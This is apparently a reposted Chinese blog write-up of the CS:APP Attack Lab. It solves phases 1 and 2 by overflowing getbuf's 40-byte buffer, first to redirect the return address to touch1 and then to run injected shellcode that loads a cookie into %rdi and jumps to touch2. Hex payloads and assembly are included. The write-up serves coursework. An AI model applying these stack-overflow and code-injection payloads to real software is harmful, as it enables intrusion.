Attack Lab 【深入理解计算机组成与系统实验】(更新ing)

news2024/10/2 22:13:51

前情提要:因为图片都很长的原因,up不会调,所以可能看的不舒服,请原谅up,电脑可以缩小至80或者90看会舒服一点,实在抱歉了

实验原理:

       本次实验用到的基本上是缓冲区越界,学过c语言的可以将他类比为数组越界,原本数组开了10个int大小,但是我们给他输入了15个数字,那多出来5个数字就覆盖掉了别的位置的数。

一个例子:

      我们要执行一个函数会向下开辟空间,就是红色区域。然后这个函数执行完会ret返回就是return到开辟之前的空间,就是第一个rsp的位置,然后执行那里的地址的代码。

test函数是1-5题都要接触到的

getbuf执行完rsp会回到上图rsp的位置

phase_1

   任务内容:

       本关任务:本关需要做的是劫持程序流,将函数的正常返回地址重写,使函数重定向到指定的函数。 本关要求重定向到touch1函数。

getbuf函数

getbuf函数开辟40个字节,然后test的rsp里面存的是地址有8个字节,存的是函数的地址且用小端法表示

所以我们要填充完40个字节的空间,然后让他溢出填充多8个字节的空间,把之前一个函数的地址覆盖成touch1的地址

用disas touch1 查询touch1的地址是0x4017c0,小端法表示:c0 17 40 00 00 00 00 00

所以答案是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  这里面40个00都是用来填充前面getbuf的40个bits的空间的
c0 17 40 00 00 00 00 00  让rsp指向的函数地址变成touch1的

演示一遍如何输入答案,因为要用文本输入:

创建一个 1.txt文本存16进制数

然后按 i 进入编辑模式

输入进去,有空格尽量不要有换行

然后esc :wq  冒号然后输入wq保存文档

转换为机器可以识别的机器码存进2.txt文档里

然后将这个2.txt文本作为参数传入ctarget里

任务完成了,成功唤醒了touch1函数

phase_2

     任务内容:

      本关任务依然是在调用getbuf函数后不返回test函数,而是执行touch2函数。但是需要传入一个unsigned类型的参数,且该参数值与cookie值一致才能通关。 提示:此cookie值存放于文件cookie.txt中,值为0x59b997fa

tips:本关任务:与第一关不同,本关需要做的是在输入字符串中注入一小段代码。 其实整体的流程还是getbuf中输入字符,然后拦截程序流,跳转到调用touch2函数

思路:

       我们需要唤醒touch2函数的时候并且传参进去。已知我们只用传一个参数进去,所以那个参数在的位置是 %rdi 寄存器

那我们如何执行我们存进去的代码呢?执行的顺序是什么?
1.我们知道传参进 %rdi 一定是调用touch2函数之前,所以我们需要的代码是

movq    $0x59b997fa, %rdi ///传cookie的值给%rdi
pushq   $0x4017ec         ///将touch2函数压栈,然后ret就可以调用touch2函数
ret                       /// 0x4017ec是touch2的地址

所以栈情况长这样:

分析这个是如何执行的我们就知道为什么要这样放栈了

然后大家就可以理解代码插入哪里,还有为什么 rsp2 的地址不像第一题是直接指向touch2,而是要指向我们插入的代码了吧

然后我们就可以知道我们要填入什么东西了
1.我们要填入我们代码的机器码
2.然后补齐加入机器码之后的剩余空间
3.然后溢出的部分,就是执行完getbuf后会调用的函数地址要是我们插入的代码的地址了吧(插入的代码地址其实就是我们从rsp1的栈顶开始插入的,所以我们知道rsp1的地址就行了)

然后怎么把汇编代码变成机器码:

我们需要的代码转换后:

 0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
 7:   68 ec 17 40 00          pushq  $0x4017ec
 c:   c3                      retq

所以我们需要的十六进制是:

48 c7 c7 fa 97 b9 59 68 ///给%rdi赋值
ec 17 40 00 c3 00 00 00 ///touch2函数压栈
00 00 00 00 00 00 00 00 ///c3是ret,调用touch2函数
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 ///这里的地址是rsp1的地址,就是getbuf的栈顶,建议回归上面的图
                        ///指向插入代码的地址执行这些代码

然后按照前面的方式提交将16进制转换后的机器码的文本作为参数就好了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1293444.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

AR + 通信,虚实结合让工作协同从线上到「现场」

在数字经济无所不在的当下,千行百业都与数智化办公接轨并因其实现转型升级。关注【融云 RongCloud】,了解协同办公平台更多干货。 升级的背后,是利用技术把工作用更自然的方式连接起来,让整个工作流协同更顺、体验更好。 而其中…

龙良曲PyTorch入门到实战 深度学习

文章目录 笔记激活函数与Loss的梯度lesson5 手写数字识别问题lesson6 基本数据类型lesson7 创建tensorlesson8 索引和切片lesson9 维度变换lesson10 broadcastinglesson11 分割和合并lesson12 数学运算lesson13 Tensor统计lesson14 Tensor高阶lesson16 什么是梯度lesson17 常见…

postcss-pxtorem实现页面自适应的原理

先声明一点这玩意本身不能实现哈,他只是一个工具,更是一个postcss的插件 帮助我们从px转化成为rem比如我们的代码 div {height: 100px;width: 100px; }经过这个插件转化之后变成 假设变成下面这样哈 div {height: 1rem;width: 1rem; }其他没啥子太大作…

WMMSE方法的使用笔记

标题很帅 原论文的描述WMMSE的简单应用 无线蜂窝通信系统的预编码设计问题中,经常提到用WMMSE方法设计多用户和速率最大化的预编码,其中最为关键的一步是将原和速率最大化问题转化为均方误差最小化问题,从而将问题由非凸变为关于三个新变量的…

【计算机组成体系结构】SRAM和DRAM

RAM — Random Access Memory 随机访问存储器 —指定某一存储单元地址的时候,存储单元的读取速度并不会因为存储单元的物理位置改变 SRAM即为 Static RAM 静态随机访问存储器 — 用于主存DRAM即为 Dynamic RAM 动态随机访问存储器 — 用于Cache 一、SRAM和DRAM的特…

Elasticsearch 8.9 flush刷新缓存中的数据到磁盘源码

一、相关API的handler1、接收HTTP请求的hander2、每一个数据节点(node)执行分片刷新的action是TransportShardFlushAction 二、对indexShard执行刷新请求1、首先获取读锁,再获取刷新锁,如果获取不到根据参数决定是否直接返回还是等待2、在刷新之后transl…

Jquery easyui异步提交表单的两种方式

这篇文章分享一下easyui常用的两种表单异步提交的方式。 目录 第一种:利用ajax提交 $.post() $.ajax() 第二种:使用easyui提供的表单提交方式 首先,准备一个简单的表单,包含三个输入框,在页面引入easyui的js文件。…

使用智能AI文心一言处理采集数据

简数采集器支持调用百度智能AI文心一言大模型API接口,可对采集的数据进行研究分析,内容创作。 文心一言API使用方法如下: 目录 1. 采集数据 2. 申请API 3. 对接文心一言API 4. 设置文心一言API的执行指令 5. 使用文心一言API处理采集数…

苹果mac电脑如何彻底删除卸载软件?

在苹果电脑上安装和使用软件非常容易,但是卸载软件却可能会变得复杂和困难。不像在Windows上,你不能简单地在控制面板中找到已安装的程序并卸载它们。因此,在这篇文章中,我们将讨论苹果电脑怎么彻底删除软件。 CleanMyMac X全新版…

『 C++ 』BinarySearchTree搜索二叉树

文章目录 前言 🦕二叉搜索树的概念 🦕搜索二叉树的初始化 🦕Insert( )插入函数 🦕👾 InsertR( ) 插入函数(递归) InOrder( ) 中序遍历打印 🦕Find( ) 查找函数 🦕👾 Find( ) 查找函数…

系列学习前端之第 2 章:一文精通 HTML

全套学习 HTMLCSSJavaScript 代码和笔记请下载网盘的资料: 链接: https://pan.baidu.com/s/1-vY2anBdrsBSwDZfALZ6FQ 提取码: 6666 HTML 全称:HyperText Markup Language(超文本标记语言) 1、 HTML 标签 1. 标签又称元素&#…

第二十一章总结博客

网络程序设计基础 局域网与互联网 为了实现两台计算机的通信,必须用一个网络线路连接两台计算机。如下图所示 网络协议 1.IP协议 IP是Internet Protocol的简称,是一种网络协议。Internet 网络采用的协议是TCP/IP协议,其全称是Transmission …

区块链媒体:Web3.0时代的推广创新10爆款策略概览-华媒舍

随着Web3.0时代的到来,互联网推广正经历着一场创新的革命。在这个新的时代背景下,一系列全新的推广策略正在兴起,引领着市场的变革。本文将基于这一背景,为大家介绍Web3.0时代中的10大爆款推广策略概览。 1. 个性化推广 在Web3.0…

Linux:缓冲区的概念理解

文章目录 缓冲区什么是缓冲区?缓冲区的意义是什么?缓冲区的刷新方式 理解缓冲区用户缓冲区和内核缓冲区缓冲区在哪里? 本篇主要总结的是关于缓冲区的概念理解,以及再次基础上对文件的常用接口进行一定程度的封装 缓冲区 什么是缓…

基于ssm家庭理财系统源码和论文

基于ssm家庭理财系统源码和论文743 idea 数据库mysql5.7 数据库链接工具:navcat,小海豚等 环境: jdk8 tomcat8.5 开发技术 ssm 摘要 随着Internet的发展,人们的日常生活已经离不开网络。未来人们的生活与工作将变得越来越数字化&#xff…

Linux_CentOS_7.9配置oracle sqlplus、rman实现上下按键切换历史命令等便捷效率功能之简易记录

配置oracle sqlplus以及rman可以上下按键切换历史命令等便捷效率功能 设置前提是已经yum安装了rlwrap软件具体软件下载及配置参考文章http://t.csdnimg.cn/iXuVK su - oracleVim .bash_profile ## 文件中增加如下的别名设置 ---------------- alias sqlplusrlwrap sqlplus…

Android音量调节参考一

基于android 9平台分析。 在Android系统中,默认的设备(phone等)音量都是分开控制的,这些包括媒体、铃声、闹铃、蓝牙、通话通过音频流来区别不同的音量类型。每种流类型都定义最大音量、最小音量及默认音量,Android 9定了了11中音频流类型&am…

【MATLAB】MVMD信号分解+FFT+HHT组合算法

有意向获取代码,请转文末观看代码获取方式~也可转原文链接获取~ 1 基本定义 MVMD信号分解FFTHHT组合算法是一种强大的分析方法,结合了变分模态分解(MVMD)、快速傅里叶变换(FFT)和希尔伯特-黄变换(HHT)。 首先,使用MVMD将原始信号分解成多个…

几分钟在Ubuntu搭建本地Emlog博客网站并发布至公网无需购买域名服务器

文章目录 前言1. 网站搭建1.1 Emolog网页下载和安装1.2 网页测试1.3 cpolar的安装和注册 2. 本地网页发布2.1 Cpolar临时数据隧道2.2.Cpolar稳定隧道(云端设置)2.3.Cpolar稳定隧道(本地设置) 3. 公网访问测试总结 前言 博客作为使…

Python-封装配置文件

Code [url] baidu http://www.baidu.com[value] send_value 百度[server] ip 220.181.111.188封装的格式可以套用 # 封装,类似函数调用 import configparserclass ReadConfigIni():def __init__(self,filename):self.cf configparser.ConfigParser()self.cf.read(filenam…